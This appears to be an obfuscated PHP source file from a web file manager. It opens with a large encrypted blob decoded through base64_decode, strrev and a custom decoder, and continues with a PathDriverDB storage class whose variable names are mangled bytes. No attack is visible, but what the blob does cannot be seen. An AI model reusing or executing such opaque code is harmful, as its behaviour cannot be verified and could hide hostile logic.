a\x54\xd4\xc9\xa8\xfa\x1c\xdd\xaa\x30\x34\xf4\x5c\x25\xc9\xd\x4f\xf5\xbc\x43\x1b\x4b\x87\x34\x6b\x32\x8f\xb2\x53\xea\xeb"."\353\275\365\15\350\177\166\223\202\271\2\151\144\316\176\44\220\372\372\106\362\77\315\40\57\244\1\12\72\163\20\111\144\264\34\0\206\164\35\32\4\274\23\355\224\113\114\36\355\12\342\213".base64_decode('ngpuGkyLMJxF2EccvTKy6niAUyFn/BDT3YPAjScAn9npAPXezVglakg/GRRoL783jMDEqg==').base64_decode('mUOvbDfxRoXy6S75Yz42uDRReK73sgyv/GwMFKKETpwLOpqGyjg9yOIUJNmkeD9xgqSpxQ==')."\x32\xae\xe4\x15\x17\x47\xe5\xe3\x3f\x92\xcd\x2f\xdf\x92\x58\x96\x7b\x26\xc1\xd1\x28\xaf\x89\xbe\x4e\x44\xfd\x5e\xc0\x18\x56\x58\x85\x19\x73\x48\x15\xb2\x9\x8e\x9e\xc2\x63\x64\x48\xf1\x6e\x93\xa1\x61\x5a\xba".strrev('…k2<6B>¨š7ð'."\n".'ýŠâK:I=dvÇ•*€%ìŒ.Î"X0 ©œ $ñ•Ç<E280A2> ')."\106\211\37\173\372\354\57\321\337\64\36\132\66\271\266\173\142\311\34\71\16\66\334\226\201\54\46\315\24\73\353\112\174\216\361\36\113\11\261\4\172\112\27\344\356\143\245\12\334\131\256\62".base64_decode('AXpEVlYA0suhyUliBWic7oImjmKD3B+27D2Wqp4kIzELnu4QFjqsjkFpI+orFM1+NOuWPA==')._kodDe('KB5embMoaCX9on269iVRv7nuf4jCHbPeBPIiXgPEXxsSesYB5ggkoZPAT+j+yp062qeyY4s=').base64_decode('ssiuwlkH3jE7U3jLPgPpmKbDhsfmZVNlCiYoEtZCye9Fqg40YbjKTMDwCAljC2c6TaO6CA==')."\xc7\x41\x70\x92\x10\xba\xac\x9e\x84\xe6\x0\x29\x24\x8b\xa\x57\x10\x61\xcf\x21\x27\x1c\xce\xd6\x1\x4d\x1b\x99\x2c\x22\x17\x73\xe6\xbd\x7a\xf6\x5\x2c\x70\x11\x83\xc2\xc3\xca\x5f\xee\x94\x8f\xdc\xf0\x90\xaa".base64_decode('spoIr+g2/rx6BUR0IlsZVhG+jSto5KRQiuHa2Wkn2iVbVOnpwckKfaZbwY+PT3TOT3kBeA==').base64_decode('0MxE0iP2RS0XwnV1ukjUQgdF5G2lohszX1Um+aaAae0k9qgJpcfCksIP3e5C3epBWx3BTQ==')."\140\102\272\50\65\146\165\342\46\103\50\315\346\107\161\162\127\211\127\50\162\105\210\353\46\63\130\303\323\243\220\146\316\41\117\142\124\310\305\36\65\330\327\270\137\156\240\374\10\306\264\371".base64_decode('9hhXH0hL7DMiy7dJWsQ7TzTVYUQgvQnAQVEzWOM11jZiDkqeVJB27K6o23gWl5AkGhSVOA==').strrev('“TrQ Ƙ³)ê)€A^l/ ·¯+P}¡X«d„£Àp,ÙÙz¿'."\0".'JtaÅìÝc6ûá/')."\267\343\172\277\34\45\366\12\154\65\10\257\355\162\25\330\53\231\104\166\360\52\14\244\354\222\354\343\114\172\330\1\305\244\7\74\44\101\324\333\240\160\11\126\245\65\323\310\144\51\203\300"."\127\22\146\135\12\133\351\6\33\321\114\45\112\275\374\370\331\45\142\262\113\161\212\54\301\261\133\156\270\2\342\334\11\367\300\222\363\120\265\330\241\272\350\231\134\204\174\263\254\10\315\303"."\x42\x94\xb8\xe\x27\xe7\x58\xf8\x65\x8e\x4e\x36\x8b\x95\x72\x2a\x7c\x8a\x64\x49\x23\x9a\x62\x98\x6\xab\x7c\x99\x18\x24\xc8\x18\xd1\x99\xb5\xb6\xb7\x61\x8a\x77\x2a\xec\x60\xe4\x2b\x72\x6c\x73\x6\x7c\x4\x2d"."\54\11\15\360\366\226\221\61\260\165\6\70\1\143\112\207\370\304\235\222\160\34\103\74\104\361\371\44\256\244\170\254\50\311\22\342\141\173\342\153\111\46\353\302\106\211\232\107\143\200\316\112"."\371\164\204\160\166\213\303\240\335\5\200\326\207\63\37\336\350\20\215\241\356\236\114\207\201\241\253\22\170\10\106\176\205\204\224\22\375\20\126\377\50\311\244\57\201\110\3\43\154\255\250\27".strrev('¨DrÓËÉnÆni3ÈØßð<>¶6Ðà%ö-Moú¨Jƽ¹by4œ9<13>­v*')."\x51\xa7\xa3\x34\x4f\xe2\x50\x43\x3a\x73\xb\xc0\x76\xea\x1d\x6d\x1d\x7e\x9e\xd4\xcc\x97\x27\x55\x94\x8\x27\x77\x41\x66\x39\xa9\xf\x33\xa7\xaa\x43\x39\x23\xa5\x44\x62\xb\xc2\xc1\x40\xa4\x25\x9c\x58\xa8\xf4"."\343\203\127\141\131\210\232\253\222\145\253\132\342\265\33\362\274\217\163\201\23\335\61\235\16\206\353\275\374\251\31\34\364\366\242\175\204\67\315\367\132\226\330\125\221\36\102\145\342\101\76\147".base64_decode('tRQr9WJZjXl8ey9bVgZrxCtAZ4X+VwIuFPVy+BEdWzhKLZYKlCq0BuArf4G8DyRDI/FIzw==').base64_decode('j9d4Iz9oWIYgB6zEiFx7oKU9HFUDkUhsicMwWJwFFLkiJS2/1STNjJgE+vVyD4vgz05+Bw==')."\xc3\xa5\x5c\xa1\xd3\x27\xbb\x10\x2d\xb0\x33\x2e\x78\x3c\x96\xbf\xdd\x42\xa3\xd2\x5b\x6a\x85\xa2\x66\x58\xba\x94\x40\x9f\xfd\xaa\x83\xcb\x72\x5a\x36\xeb\x78\x12\x35\xdb\x27\x45\x4b\x4e\x7e\x5b\xf1\x53\x2a\xfd"."\0\113\43\202\356\370\0\361\360\202\266\344\177\335\124\43\55\234\360\31\151\146\171\306\257\104\323\147\135\202\362\363\271\354\233\342\361\240\362\224\377\366\55\72\217\344\375\223\70\61\143\257".strrev('Ù+&Ñfî…¨(`·Øˆâ'."\n".'ˆj'."\r".'Ø'."\r".'COëP|Å1I|SÂêTÇ M=2Ûdš]')."\x87\x29\xe7\x10\x19\x81\x1\x77\x58\x5b\xba\x1e\xd3\x73\xdb\xc7\x3b\x9e\xca\x2b\xfb\x6\x79\xb9\x85\xe6\x91\x93\x29\x4\xd9\x23\xfa\x84\x62\xfc\xa5\x26\x51\xd4\x9d\x53\xa1\x1\x28\x5b\x11\x2a\x2f\xe\xa0\x34"."\51\365\364\135\107\376\12\217\62\227\71\176\20\37\40\56\3\103\271\202\355\330\351\267\311\167\145\244\51\241\11\130\377\123\344\12\74\72\347\54\212\47\266\211\115\246\52\363\116\102\207\305"."\xfe\xf\x1b\x62\x9a\xb9\x91\xb2\x4\x87\x76\x2c\xc2\x7a\xc3\x4d\xa2\xf1\xcb\x45\xf9\x3e\x53\x1e\x75\x42\xcf\xf1\x75\x29\xfa\x5c\x2b\x55\x44\x78\xd0\x7e\x44\xb7\xcb\xdf\x7f\xa3\xc5\xff\x6f\xa\xd2\xcc\x84\xe4"."\323\326\131\111\171\203\54\67\377\24\262\34\176\332\56\143\16\71\337\160\305\51\356\307\354\34\317\330\111\53\214\270\61\220\37\336\163\26\362\224\275\40\245\220\347\267\25\104\214\140\356\261"."\x29\xf\xdb\xe8\x12\x60\xe9\xd3\x93\xe8\x4f\x37\xfc\x32\x6e\xe8\x6e\x4\xa5\x73\xf0\xc9\x5a\x8e\x8a\xc1\x8c\x91\x4d\x17\xb9\x91\x96\x48\x68\xd7\x85\xf6\x81\x94\x42\x84\xa5\xa0\x31\x2f\xfa\xe4\x99\xcb\x16\x46".strrev('(¤úfËDy¬ELUE~µ&i,TxíBX'."\0".'fâxŸ:õf“Ä··Î¡Gb/JªÑáÒ').base64_decode('k2kI03y+50kA7J3QtIc8YknpovtVLGl9cvIrlxbukSEva/ZqWbAodFy2K6Itm85YigOMJg==').base64_decode('+bVCQZyPyBwY/eu4Rw15nck2lfgUUakRQ0LgoHRmSRPh/LKUD9NzGkdqUdpMyt6h6dmNuA==')."\x8e\xb\xe0\xa8\x9d\x1d\xf4\xb0\x16\x6\x50\xae\x92\x1d\xa0\x73\xbd\x3b\xa2\x4f\x7c\xcf\xed\x2f\x3f\x70\xc7\xc6\x68\x40\x61\xc8\xb3\xf7\xc2\x26\x85\x38\xf8\x90\x77\x7b\x0\xa0\xcc\x55\x4\xaa\x38\x16\x36\x46"."\x2d\x24\x72\xd3\x67\x43\x9\xe5\x90\x29\xdc\x67\xa4\x4a\x2f\xb8\xc1\xf3\xa4\x95\x1e\x64\xa3\x2b\x81\xfc\xb4\xe8\x7d\x7c\xe7\x84\xe3\x42\x56\x90\xfd\x22\x9\x13\x1d\xf7\xcb\xa1\xe5\xaf\xa0\xb2\x17\x4f\xd9\x52"."\x82\xe7\x4e\x2b\xbc\x61\x3a\xee\x13\xa8\x1e\x71\xf3\xfa\xb3\xde\x79\x13\xf7\x7c\x9d\xaf\xd9\xe3\x7e\x70\x49\x83\x6f\x4e\xca\xf6\x37\xee\xad\xd\x1f\x56\x57\x81\xb8\x7b\x90\x93\x66\xb9\x12\x5a\x98\x24\x38\x1e".strrev('Çd[Ûœl\'ivvA¸B·?f—…hOs<4F>^:ÄïŠÈ»0ðαYŠ—~¤iWü®¤'."\r".'z•h')."\330\156\60\303\201\273\210\41\213\313\177\324\347\162\31\303\130\226\113\117\231\72\175\266\254\101\21\123\50\16\167\301\217\12\234\121\203\314\43\220\102\161\242\241\302\34\75\313\253\237\144\72".base64_decode('L9qUP0rs4gj/3YIRmxEKKtnulr/bXjYCBE8lCzKJQbrsgExsmmOJVUdZoniK2PktKk5U6A==')."\x87\xc4\x7\xc5\x62\xa1\xcf\xca\x9a\x59\xbc\x91\xcf\xe1\x3\x2\xbb\xa8\x39\xf7\xa7\x95\xb6\x61\x64\x24\xd8\x9e\xf\xeb\x78\x45\xcc\x69\x29\x5\x2a\x1b\x91\x2d\xed\xd3\xe4\x1a\x6d\xd3\xad\x6f\xc2\xc5\x31\x9f".base64_decode('JLrTWD4LbBy7pRCrTaJE/8UEsi0X3Z0JEzHcfcdO3TkK/pMZmanwhLBkQPMZfaCSH99qeg==')."\x35\xdb\x2b\x21\xa7\xa4\xaf\xd4\xed\x18\x99\x6c\x20\x17\x62\x47\xec\xec\xb7\xab\x7a\x54\x4c\xd4\xd1\xe3\x51\xc6\x3\x2a\x17\xff\xa4\x97\x86\x85\x2b\x44\x49\xf0\xc3\xa5\xd9\xa5\xf2\x71\x14\xa\xe4\x4e\xb3\x53"."\204\222\37\102\45\27\202\205\317\36\262\164\35\313\130\362\253\56\137\250\45\25\311\353\243\274\152\351\131\131\241\206\42\172\53\350\21\54\156\142\121\101\232\31\130\300\257\143\153\222\275\237".base64_decode('UzcGwp70JjoaPunZcFMOS88VI54QY1cqUHMc21oUb3E9KU/ol/udeTZmhGgIeihd83dsnQ==')."\370\113\233\216\255\224\345\176\156\27\211\206\216\27\111\322\145\57\224\3\341\44\227\352\350\327\44\326\53\270\254\10\105\113\71\21\221\64\314\144\377\305\63\35\336\20\260\303\77\27\215\140"."\76\26\54\327\53\334\324\121\70\15\263\155\302\377\372\245\331\377\127\17\314\116\257\147\147\1\216\207\351\27\200\260\16\255\305\7\256\134\367\101\365\320\256\176\70\331\353\4\300\42\64\370".strrev('# <>wÊö`j" ¯¸ŠWFOàä#Ïe7·•ÂbVl´ãÎÆ¤Ì<>§3œHTAA¾')."\70\255\122\61\371\15\142\104\130\12\22\115\44\165\241\24\251\26\156\164\10\300\154\243\303\266\143\25\26\4\115\142\122\267\40\156\171\43\65\120\341\124\236\230\337\72\137\10\220\244\234\62"."\x30\xd1\x7c\x24\xc\x31\xb7\x9c\x7e\x16\x4a\xe1\x7d\x28\x71\x41\x3\xd3\x20\xbb\x9\x88\x15\xd8\x8e\xb5\x16\xd8\x49\xcf\xc9\x8c\xec\x11\xd7\x24\x40\xfd\x64\x8a\xe7\x48\x2a\xa3\x93\x49\xc7\xe4\x3a\x12\xe5\x79".base64_decode('E8TMx/DCUaLd9UQyBbLksXUcRJQbaZSX5gRFLoIvBjh1bnhaccO89V5XQoPXVR1/Jdq5aA==')."\34\317\26\123\303\26\264\322\342\130\267\302\164\154\344\54\213\34\152\173\313\313\320\5\222\20\60\343\54\321\312\204\202\67\112\350\31\161\110\36\17\106\160\72\212\46\221\70\235\251\134\337"."\44\31\142\247\44\145\256\133\210\244\311\223\174\145\354\217\321\136\307\114\141\113\100\161\206\232\214\305\103\352\222\60\166\151\21\76\65\324\311\234\61\33\46\171\201\204\125\331\331\136\103\156"."\305\301\2\100\333\241\126\123\240\222\216\250\242\244\131\26\36\205\355\134\41\310\117\174\235\167\253\245\33\30\314\237\227\254\353\164\2\343\153\64\316\265\70\257\22\130\312\54\132\262\73\116"."\107\46\226\337\114\224\33\147\33\362\316\74\132\310\172\312\326\323\12\226\4\34\233\203\256\151\365\123\173\76\253\26\224\317\41\247\175\16\44\354\122\22\123\275\314\150\230\301\124\54\147\122".base64_decode('/zuV8hBuJmwHEonna9zP1rQ6fFs1SrpXhXj5gveLxpmbqBkUMoorD5OG8XPxNpcfa7PXTg==')."\260\101\236\37\73\1\303\267\76\374\4\377\100\145\276\114\315\251\314\76\11\53\27\204\212\210\120\334\362\315\45\174\311\56\216\304\212\361\34\277\354\101\324\102\124\323\343\120\370\200\31\202"."\234\44\35\313\243\135\133\332\371\20\31\311\44\311\314\353\67\324\40\35\54\73\317\365\371\175\331\62\106\132\62\42\122\66\51\305\274\307\242\137\174\365\77\54\134\60\221\154\172\70\26\30"."\324\270\227\63\167\251\116\307\216\130\262\2\110\21\12\21\52\77\350\25\347\317\222\30\312\212\341\55\265\220\20\134\351\22\105\25\74\117\33\24\102\265\330\324\245\323\255\332\140\5\320\264".base64_decode('7vZSh1I4KBHKJZ8d4gaOPiR/HeDEBRkHYHmq8OkhlReHe6KbOK1S9wmFcxaXfYZwpBJJ9A==')."\x41\x27\x6e\x32\x23\x6d\xa0\xb1\x4d\x91\xb0\xa5\xa1\x5d\xe1\x7a\x22\xf1\x49\xa7\x87\x12\xe\xc6\xe7\xc\xc1\x90\x1b\x7c\x5e\x47\xaa\x4b\x25\x80\x55\x72\x4c\xa0\x74\x65\x81\x92\x4a\xaa\xbe\xa2\x2e\x4b\x42\x1"."\75\33\221\252\223\17\376\307\55\220\250\374\21\201\225\316\41\226\134\273\210\14\46\262\230\216\301\227\170\26\357\30\100\306\345\114\107\163\334\123\113\166\260\2\175\151\142\216\234\17\320\274"."\x80\x33\x8b\xc2\xeb\xae\xd6\xcb\x5\xdc\x3d\xa3\x25\x1c\x6f\x10\xca\xe9\x43\x86\x9d\xca\x48\xdb\xed\xf2\xcc\xf2\xf4\x62\xd9\x60\x43\x3\x2a\xf7\xc3\xdd\x5a\x36\xd6\x6e\x25\x84\xa8\xa4\xac\x3d\x92\x55\x51\xd2"."\254\120\206\266\250\142\61\232\205\113\212\135\216\243\354\70\103\200\313\322\54\134\266\54\233\25\56\33\127\122\316\326\112\326\70\335\53\37\74\120\152\245\53\164\130\250\176\44\320\361\306\263".base64_decode('InD55wAT3dBEC1a5FUJ55bLjqNSKisDjtsINLWQOvJWtlOMwhnJylEp0m+VUoNSUCo1rJQ==')."\x25\x2c\x87\xca\x59\x86\xc8\xab\x60\xc7\x44\x3f\x89\xa5\x1f\xd9\x1d\x64\x85\x6c\xd9\x28\xaa\xb2\xd9\x54\xbc\x22\x95\xb1\x9c\xf6\x4c\xae\x74\x79\x80\xc0\x61\x39\x48\xd0\x80\xc0\x48\x4\xcb\x1a\x3\xc2\x5e\x94"."\x5d\x17\x99\xe4\x60\x25\xa5\xfc\x40\xde\xe4\xec\x29\x2d\xcc\x81\xb1\xe4\x14\x28\xba\xc7\xb9\xac\x36\x27\xea\xe7\x4b\x92\xeb\xf8\x8a\xb7\x57\x3c\x58\xc3\x54\xae\xcb\xc9\x6a\xfc\x1a\xa1\x30\xa9\xa3\x7b\x66\xd3"."\x36\x52\xba\xd3\x3f\xbd\xec\x15\x92\xe6\xb3\x8f\x64\x25\x7d\xb6\x4b\x95\x2c\xf4\x5d\xe\xcb\x9a\xa\xa\x56\x92\x4\x12\xb3\x38\xd5\xa1\xf5\x49\xc2\x91\xc0\x9\xc7\xe5\x32\x2a\x92\xc0\x61\x18\x3d\x57\xf\x62"."\x63\xf\x7e\xa2\x4a\x9c\xa4\x53\x16\x4e\xb3\x13\x66\xd1\xf6\xe0\xbc\xa4\x59\x20\xbf\xcd\xa6\x6d\xb\x33\x15\xaa\x60\x22\x62\x36\xe6\xc3\x1e\xc9\xa\xb\x85\xc4\xf1\x29\x6e\x14\x39\x87\x23\x68\x4b\x28\x16\x9".base64_decode('wgk/1twkdJpL6Jwjgs/3eERms3DS31py2SKIhAEz3WsOM1eMCK+kQRIngJpbthRiEaCibA==')."\123\106\134\231\130\176\232\343\207\307\220\274\244\16\170\303\324\267\242\320\357\50\116\137\205\344\26\341\237\125\3\234\2\210\52\350\113\50\104\45\13\227\337\22\311\104\131\126\107\40\221\130".base64_decode('Eou30IdTyrJJKclyryyroy0WHS8v1B4IR8rysJFfVBVOPWlWuIO0khxij9eKcHChaEm5Lw==')."\x55\x76\xe8\x16\x81\x67\x2e\xc5\xbc\x48\x87\x50\x85\x8c\xc9\xce\x96\x18\x7c\x42\xcb\x32\x65\x90\x74\x48\xa1\xe7\x84\xd7\x57\x51\xc6\xa9\xe3\x92\xe7\xdf\x62\xee\x99\x79\xc0\xf9\x5a\xa1\xcb\xe6\x96\x21\x36\x54"."\204\115\366\242\120\167\274\0\251\370\301\31\116\37\270\234\57\354\106\174\16\373\22\51\235\254\41\102\224\44\334\224\371\75\111\250\253\70\100\362\241\105\371\201\32\311\25\3\200\33\166\212".strrev(''."\0".''."\0".'¸ê•ˆÿñ-J˜ÑuAfh¯ë[lŽÃI :òà²îŒÀé^Ì+ V ').strrev('')."".""."", 10, -8))); goto dù„”‰Ï<E280B0><C38F>; d£Í˜ˆÜ: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($¥×©˜<CB9C>) { $this->pathParse = $¥×©˜<CB9C>; $this->model = Model($_SERVER[ˆ¡¹µ‹Â][1411]); } public function getPath($É“ªá®ä) { return trim($É“ªá®ä, $_SERVER[ˆ¡¹µ‹Â][8]); } public function pathFather($·¯ï¦æÚ) { $›‡æ¹ºÕ = $this->parse($·¯ï¦æÚ); $›‡æ¹ºÕ = $this->infoSimple($·¯ï¦æÚ); return $›‡æ¹ºÕ ? $›‡æ¹ºÕ[$_SERVER[ˆ¡¹µ‹Â][192]] : !1; } public function pathThis($ᚘžÛ») { $ªÁÃîç® = $this->infoSimple($ᚘžÛ»); return $ªÁÃîç® ? $ªÁÃîç®[$_SERVER[ˆ¡¹µ‹Â][32]] : !1; } public function getPathOuter($îµÒúª«) { if (!$îµÒúª«) { return $îµÒúª«; } $ÆÝΧ®Ø = $this->parse($îµÒúª«); return KodIO::make($ÆÝΧ®Ø[$_SERVER[ˆ¡¹µ‹Â][475]]); } public function copyFolderFromIO($«¾Ý´²¯, $àºÂ³¯<C2B3>, $벡<C2B2>îÝ, $¹<E28099>¥, $¥¤æœ¹â) { $ÜÈûÞœô = $this->model->copyFolderFromIO($«¾Ý´²¯, $àºÂ³¯<C2B3>, $벡<C2B2>îÝ, $¹<E28099>¥, $¥¤æœ¹â); return KodIO::make($ÜÈûÞœô); } public function isParentOf($<24>ìÔÜúŸ, $¯µ£¯òä) { return $this->model->isParentOf($<24>ìÔÜúŸ, $¯µ£¯òä); } public function mkfile($Àôêžòç, $òö<C3B2>í÷Å = '', $Àöðæ<C3B0><C3A6> = REPEAT_RENAME) { $ÚËó€½Ü =& $_SERVER[ˆ¡¹µ‹Â]; $†­ïâð™ = $this->parse($Àôêžòç); $Àôêžòç = $†­ïâð™[$ÚËó€½Ü[475]]; for ($óÉÁ·Ù¶ = 0; $óÉÁ·Ù¶ < count($†­ïâð™[$ÚËó€½Ü[1412]]); $óÉÁ·Ù¶++) { $¸¾ò½ÂÝ = $†­ïâð™[$ÚËó€½Ü[1412]][$óÉÁ·Ù¶]; if ($óÉÁ·Ù¶ == count($†­ïâð™[$ÚËó€½Ü[1412]]) - 1) { $Àôêžòç = $this->model->mkfile($Àôêžòç, $¸¾ò½ÂÝ, $òö<C3B2>í÷Å, $Àöðæ<C3B0><C3A6>); break; } $Àôêžòç = $this->model->mkdir($Àôêžòç, $¸¾ò½ÂÝ, REPEAT_SKIP); } return $this->getPathOuter($Àôêžòç); } public function mkdir($<24>âÖî, $ø³¬ú<C2AC>Œ = REPEAT_SKIP) { $ŸõÅĺÀ =& $_SERVER[ˆ¡¹µ‹Â]; $´«¬<C2AB>ú™ = $this->parse($<24>âÖî); $<24>âÖî = $´«¬<C2AB>ú™[$ŸõÅĺÀ[475]]; for ($‘Ìθýð = 0; $‘Ìθýð < count($´«¬<C2AB>ú™[$ŸõÅĺÀ[1412]]); $‘Ìθýð++) { $ÙÃù<C383>µ° = $´«¬<C2AB>ú™[$ŸõÅĺÀ[1412]][$‘Ìθýð]; $<24>âÖî = $this->model->mkdir($<24>âÖî, $ÙÃù<C383>µ°, $ø³¬ú<C2AC>Œ); } return $this->getPathOuter($<24>âÖî); } public function copyFile($䮵·¹³, $ú‹Á¶Ì°, $›“¹àðü = REPEAT_REPLACE) { $™†¶œ»— =& $_SERVER[ˆ¡¹µ‹Â]; $ˆ²„Ÿ€ˆ = $this->parse($ú‹Á¶Ì°); $ƒé·±Îå = $this->model->copy($䮵·¹³, $ˆ²„Ÿ€ˆ[$™†¶œ»—[475]], $›“¹àðü, $ˆ²„Ÿ€ˆ[$™†¶œ»—[87]]); return $ƒé·±Îå ? $this->getPathOuter($ƒé·±Îå) : !1; } public function moveFile($äŠåòá´, $Å™’žÛ‰, $ݬ§¡Œ× = REPEAT_REPLACE) { $ª<>å<EFBFBD>³Ö =& $_SERVER[ˆ¡¹µ‹Â]; $’ºˆžªŒ = $this->parse($Å™’žÛ‰); $Ô <C394>®ò = $this->model->move($äŠåòá´, $’ºˆžªŒ[$ª<>å<EFBFBD>³Ö[475]], $ݬ§¡Œ×, $’ºˆžªŒ[$ª<>å<EFBFBD>³Ö[87]]); return $Ô <C394>®ò ? $this->getPathOuter($Ô <C394>®ò) : !1; } public function copy($®ŒÓ†£Œ, $Œ¨Ïö–ö, $ïå”áˆË = REPEAT_REPLACE, $„‡ÇݵÁ = false) { $óÇö—¥ˆ = $this->parse($Œ¨Ïö–ö); $¹ô–ÊèÈ = $this->model->copy($®ŒÓ†£Œ, $óÇö—¥ˆ[$_SERVER[ˆ¡¹µ‹Â][475]], $ïå”áˆË, $„‡ÇݵÁ); return $¹ô–ÊèÈ ? $this->getPathOuter($¹ô–ÊèÈ) : !1; } public function moveSameAllow() { } public function move($ÜøÉ‹‚ø, $¥Å¢›ŒÕ, $îñ’˜î€ = REPEAT_REPLACE, $<24>¬¡ÄО = false) { $ô®È¸ºß = $this->parse($¥Å¢›ŒÕ); $ÑóŸåÁ™ = $this->model->move($ÜøÉ‹‚ø, $ô®È¸ºß[$_SERVER[ˆ¡¹µ‹Â][475]], $îñ’˜î€, $<24>¬¡ÄО); return $ÑóŸåÁ™ ? $this->getPathOuter($ÑóŸåÁ™) : !1; } public function remove($ÝÙÙ•«í, $<24>º<EFBFBD>¸—Ì = true) { return $this->model->remove($ÝÙÙ•«í, $<24>º<EFBFBD>¸—Ì); } public function rename($‘°»Ç£­, $ܾ<C39C>Ô<EFBFBD>Ç) { $Úíšø<C5A1> = $this->model->rename($‘°»Ç£­, $ܾ<C39C>Ô<EFBFBD>Ç); return $Úíšø<C5A1> ? $this->getPathOuter($‘°»Ç£­) : $Úíšø<C5A1>Â; } public function size($ƒ­€ðìÐ) { $™ÃŸµ”ú = $this->infoSimple($ƒ­€ðìÐ); return $™ÃŸµ”ú ? $™ÃŸµ”ú[$_SERVER[ˆ¡¹µ‹Â][79]] : 0; } public function infoSimple($œõ“žÃÕ) { return $this->model->sourceInfo($œõ“žÃÕ); } public function info($ŠÜ­«ƒ<C2AB>) { return $this->infoParse($ŠÜ­«ƒ<C2AB>); } public function infoAuth($þ¹€üûÖ) { return $this->infoParse($þ¹€üûÖ, !1, !0); } public function infoWithChildren($Á¿èÛ<C3A8>È) { return $this->infoParse($Á¿èÛ<C3A8>È, !0); } protected function infoParse($<24>ŽŒÈœ, $ÔÐ÷‹×Ä = false, $Ö¾Åú<C385>Ž = false) { if (!$ÔÐ÷‹×Ä) { return $this->model->pathInfo($<24>ŽŒÈœ, $Ö¾Åú<C385>Ž); } return $this->model->pathInfoMore($<24>ŽŒÈœ); } public function infoFullSimple($<24>±³ÌºÒ) { $ݹè<C2B9>Ʊ =& $_SERVER[ˆ¡¹µ‹Â]; $¶·æÏ<C3A6>Ñ = explode($ݹè<C2B9>Ʊ[8], $<24>±³ÌºÒ); $Üèû<C3A8>¨À = implode($ݹè<C2B9>Ʊ[8], array_splice($¶·æÏ<C3A6>Ñ, 1)); return $this->model->pathInfoByPath($¶·æÏ<C3A6>Ñ[0], $Üèû<C3A8>¨À); } public function infoFull($îÑ·à”<C3A0>) { $ðÕõâİ = $this->infoFullSimple($îÑ·à”<C3A0>); return is_array($ðÕõâİ) ? $this->model->pathInfo($ðÕõâİ[$_SERVER[ˆ¡¹µ‹Â][193]]) : !1; } public function hashSimple($ÁóˆÒüì) { $¿åךõ =& $_SERVER[ˆ¡¹µ‹Â]; $›¢­ÉÄ = $this->infoWithChildren($ÁóˆÒüì); return $›¢­ÉÄ[$¿åךõÂ[170]][$¿åךõÂ[672]]; } public function hashMd5($Œœ<C592>³ÆÈ) { $Ž”«¾µ· =& $_SERVER[ˆ¡¹µ‹Â]; $ìæÍ²©† = $this->infoWithChildren($Œœ<C592>³ÆÈ); return $ìæÍ²©†[$Ž”«¾µ·[170]][$Ž”«¾µ·[547]]; } public function exist($ؓͫ¢ò) { $óчȊâ =& $_SERVER[ˆ¡¹µ‹Â]; $™<>Å¿·Æ = $this->parse($ؓͫ¢ò); if (!$™<>Å¿·Æ[$óчȊâ[87]]) { return $this->isFile($ؓͫ¢ò) || $this->isFolder($ؓͫ¢ò); } $»Ù²—Ú• = array($óчȊâ[477] => $™<>Å¿·Æ[$óчȊâ[475]], $óчȊâ[32] => $™<>Å¿·Æ[$óчȊâ[87]]); $èß©ÐèÉ = $this->model->where($»Ù²—Ú•)->find(); return $èß©ÐèÉ ? !0 : !1; } public function isFile($é‡ê¾³î) { $­»ýðâï =& $_SERVER[ˆ¡¹µ‹Â]; $€˜’Òƒ² = $this->infoSimple($é‡ê¾³î); return $€˜’Òƒ² && $€˜’Òƒ²[$­»ýðâï[485]] == $­»ýðâï[228] ? !0 : !1; } public function isFolder($ºŒ²Ã»Ñ) { $ÝŠ¯Õ¯­ =& $_SERVER[ˆ¡¹µ‹Â]; $褛ݱ = $this->infoSimple($ºŒ²Ã»Ñ); return $褛ݱ && $褛ݱ[$ÝŠ¯Õ¯­[485]] == $ÝŠ¯Õ¯­[91] ? !0 : !1; } public function listPath($’àø·¸§, $ْއĿ = false) { $Þð£å“– =& $_SERVER[ˆ¡¹µ‹Â]; if ($’àø·¸§ == $Þð£å“–[12]) { return !1; } $Ùñ§õËÒ = array($Þð£å“–[477] => $’àø·¸§); if ($ْއĿ) { return $this->model->listSource($Ùñ§õËÒ, -1); } return $this->model->listSource($Ùñ§õËÒ); } public function has($×ü˜†ñ<E280A0>, $ÓûèÜâî = false, $õЉú¶‡ = null) { $¥”—èªÓ =& $_SERVER[ˆ¡¹µ‹Â]; $Êæ›Ì ç = $this->infoWithChildren($×ü˜†ñ<E280A0>); if ($ÓûèÜâî) { return array($¥”—èªÓ[240] => $Êæ›Ì ç[$¥”—èªÓ[240]], $¥”—èªÓ[239] => $Êæ›Ì ç[$¥”—èªÓ[239]]); } return $õЉú¶‡ ? $Êæ›Ì ç[$¥”—èªÓ[240]] : $Êæ›Ì ç[$¥”—èªÓ[239]]; } public function listAll($ŸÓµ¯à±) { $…ÍÈ¶Š  = IO::info($this->pathParse[$_SERVER[ˆ¡¹µ‹Â][87]]); if (!$…ÍÈ¶Š ) { return array(); } return $this->model->listAll($ŸÓµ¯à±); } public function getContent($”ðЄ™Ë) { return $this->model->getContent($”ðЄ™Ë); } public function setContent($džݦ«ƒ, $<>‰‡Û = '') { return $this->model->setContent($džݦ«ƒ, $<>‰‡Û); } public function fileSubstr($öµæÞ´æ, $Óƒ¸ßéð, $´ŠïÀš½) { return $this->model->fileSubstr($öµæÞ´æ, $Óƒ¸ßéð, $´ŠïÀš½); } public function download($®ý÷þ¶¥, $®òè»ÍÒ = '') { $»Ï†¢µõ = get_path_father($®òè»ÍÒ); $ÖŸ•ì<E280A2>Ä = get_path_this($®òè»ÍÒ); $œ°Ë‰Ï¦ = $this->model->fileInfoGet($®ý÷þ¶¥); $·ƒ†Èƒï = IO::copy($œ°Ë‰Ï¦[$_SERVER[ˆ¡¹µ‹Â][87]], $»Ï†¢µõ, !1, $ÖŸ•ì<E280A2>Ä); return $·ƒ†Èƒï; } public function setModifyTime($€—ø­ŒŠ, $€ü<E282AC>€¡² = '') { $àÇ’õÌÒ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$€—ø­ŒŠ) { return; } $this->model->where(array($àÇ’õÌÒ[491] => $€—ø­ŒŠ))->save(array($àÇ’õÌÒ[88] => $€ü<E282AC>€¡²)); } public function upload($þÖÂþÞÇ, $<24>ø—ŒÐÅ, $çʲŸÙõ = false, $«Í¹¼¦… = REPEAT_REPLACE) { $¨¥ÃÉãÇ =& $_SERVER[ˆ¡¹µ‹Â]; $ÇɸÖÑé = $this->parse($þÖÂþÞÇ); $©„˿λ = $this->model->addFile($ÇɸÖÑé[$¨¥ÃÉãÇ[475]], $<24>ø—ŒÐÅ, 